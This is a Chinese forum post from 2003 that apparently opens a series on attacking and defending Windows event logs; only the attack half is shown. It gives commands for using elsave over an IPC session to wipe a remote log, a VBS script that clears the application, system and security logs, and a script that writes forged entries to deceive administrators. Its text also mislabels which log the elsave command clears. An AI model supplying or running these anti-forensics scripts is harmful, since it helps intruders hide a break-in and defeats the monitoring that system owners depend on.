|

- 积分
- 372070
- 金钱
- 95808
- 光电币
- 0
- 贡献
- 113707
  
|
3#
发表于 2003-10-18 21:19
| 只看该作者
说日志
日志攻防战(以下操作在Windows2000 Advanced Server中通过)
1.攻——让日志死去吧
要让日志死掉不说话是很难的,因为日志是由系统来管理、保护的,一般情况下是禁止删除或修改。此外,它还与注册表密切相关,所以在Windows 2000中删除日志首先要取得系统管理员权限,因为安全日志和系统日志必须由系统管理员方可查看,然后才可以删除它们(或者停掉这些服务),而安全日志的删除就更为麻烦。
这里可以借助一个第三方软件来实现,那就是小榕的elsave:在获得系统管理员权限后,与对方建立IPC管理会话,输入net use \\对方IP pass /user: user,然后输入elsave -s \\对方IP -l application -C,这样就删除了安全日志。
当然,达人级的攻击者还会利用VBS脚本来达到目的,代码如下:
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
然后他要做的是重新建立假的日志(要是日志突然什么都没有了,再笨的管理员也知道发生什么了),一样使用VBS脚本:
createlog.vbs
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success"
关键在于“logevent”后的数字参数。0代表成功执行,1代表执行出错 ,2代表警告 ,4代表信息 ,8代表成功审计,16代表故障审计。所以上面代码中,把0改为1、2、4、8和16均可,引号下的为日志描述,想怎么写都成,当然用点心骗网管是最好的。
这种方法有点麻烦,但不知道为什么,比尔.盖茨在XP系统中了为了方便广大黑客哥们,居然提供了一个更方便的工具eventcreate.exe,晕~
|
|